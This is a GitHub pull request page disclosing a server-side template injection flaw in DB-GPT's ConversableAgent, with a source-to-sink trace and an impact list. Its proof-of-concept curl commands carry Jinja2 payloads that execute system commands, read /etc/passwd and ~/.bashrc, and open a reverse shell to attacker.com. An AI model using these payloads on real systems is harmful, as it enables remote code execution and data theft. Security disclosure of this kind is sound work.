Skip to content

Conversation

geckosecurity
Copy link
Contributor

Version: 0.7.2
CVSS: 3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Score: 8.8 (High)

Description

An RCE vulnerability exists in the ConversableAgent class through Server-Side Template Injection (SSTI) in Jinja2 template rendering. The vulnerability allows authenticated attackers to execute arbitrary Python code on the server by injecting malicious template expressions into AgentMessage context parameters.

The vulnerability stems from the complete lack of input validation in the agent message processing pipeline. User-controlled data from HTTP requests flows directly through the ext_info parameter into AgentMessage.context, which is subsequently merged into Jinja2 template parameters without sanitization. When agents use custom bind_prompt templates with jinja2 format, the malicious template expressions are rendered with full Python execution capabilities.

The ConversableAgent class is the foundation for all agents and is exposed through multiple HTTP API endpoints, making this vulnerability remotely exploitable in all DB-GPT installations that use agent chat functionality.

Source - Sink Analysis

Source: User-controlled ext_info dictionary in HTTP requests to agent chat endpoints

Call Chain:

  1. HTTP POST to /v1/chat/completions with malicious ext_info in request body
  2. chat_completions() function in packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/api_v1.py:501
  3. multi_agents.app_agent_chat() in packages/dbgpt-serve/src/dbgpt_serve/agent/agents/controller.py:409
  4. agent_chat_v2() function in packages/dbgpt-serve/src/dbgpt_serve/agent/agents/controller.py:163
  5. user_chat_2_app() function in packages/dbgpt-serve/src/dbgpt_serve/agent/agents/app_agent_manage.py:66
  6. user_proxy.initiate_chat() in packages/dbgpt-core/src/dbgpt/agent/core/base_agent.py:686 with **ext_info passed as context
  7. AgentMessage(context=context) created with user-controlled data in packages/dbgpt-core/src/dbgpt/agent/core/base_agent.py:700
  8. ConversableAgent.receive()generate_reply() in packages/dbgpt-core/src/dbgpt/agent/core/base_agent.py:319
  9. _load_thinking_messages() in packages/dbgpt-core/src/dbgpt/agent/core/base_agent.py:1084 with context=reply_message.get_dict_context()
  10. build_system_prompt() in packages/dbgpt-core/src/dbgpt/agent/core/base_agent.py:1048 merges context into prompt_param
  11. Sink: Template(self.bind_prompt.template).render(prompt_param) in packages/dbgpt-core/src/dbgpt/agent/core/base_agent.py:1068

Proof of Concept

# Execute system commands via template injection
curl -X POST "http://localhost:5670/api/v1/chat/completions" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer dbgpt" \
  -d '{
    "conv_uid": "test123",
    "chat_mode": "chat_agent",
    "app_code": "your_app_code",
    "user_input": "Hello",
    "ext_info": {
      "role": "Assistant {{config.__class__.__init__.__globals__[\"os\"].popen(\"id\").read()}}",
      "expand_prompt": "{{request.application.__globals__.__builtins__.__import__(\"subprocess\").check_output([\"whoami\"]).decode()}}"
    }
  }'
# File system access and data exfiltration
curl -X POST "http://localhost:5670/api/v1/chat/completions" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer dbgpt" \
  -d '{
    "conv_uid": "test456", 
    "chat_mode": "chat_agent",
    "app_code": "your_app_code",
    "user_input": "Help me",
    "ext_info": {
      "goal": "{{config.__class__.__init__.__globals__[\"open\"](\"/etc/passwd\").read()}}",
      "constraints": ["{{config.__class__.__init__.__globals__[\"__builtins__\"][\"exec\"](\"import os; os.system('cat ~/.bashrc')\")}}"]
    }
  }'
# Reverse shell payload
curl -X POST "http://localhost:5670/api/v1/chat/completions" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer dbgpt" \
  -d '{
    "conv_uid": "test789",
    "chat_mode": "chat_agent", 
    "app_code": "your_app_code",
    "user_input": "Execute task",
    "ext_info": {
      "examples": "{{config.__class__.__init__.__globals__[\"__builtins__\"][\"exec\"](\"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('attacker.com',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i'])\")}}"
    }
  }'

Impact

  • Complete server compromise through arbitrary Python code execution
  • Access to sensitive files, configuration data, and environment variables
  • Database credential theft and unauthorized data access
  • Lateral movement within internal network infrastructure
  • Installation of persistent backdoors and malware
  • Data exfiltration from databases and file systems
  • Denial of service attacks against the DB-GPT service
  • Privilege escalation if DB-GPT runs with elevated permissions
  • Supply chain attacks through compromised agent applications

cc: @fangyinc @Aries-ckt

@github-actions github-actions bot added the fix Bug fixes label Jul 7, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
fix Bug fixes
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants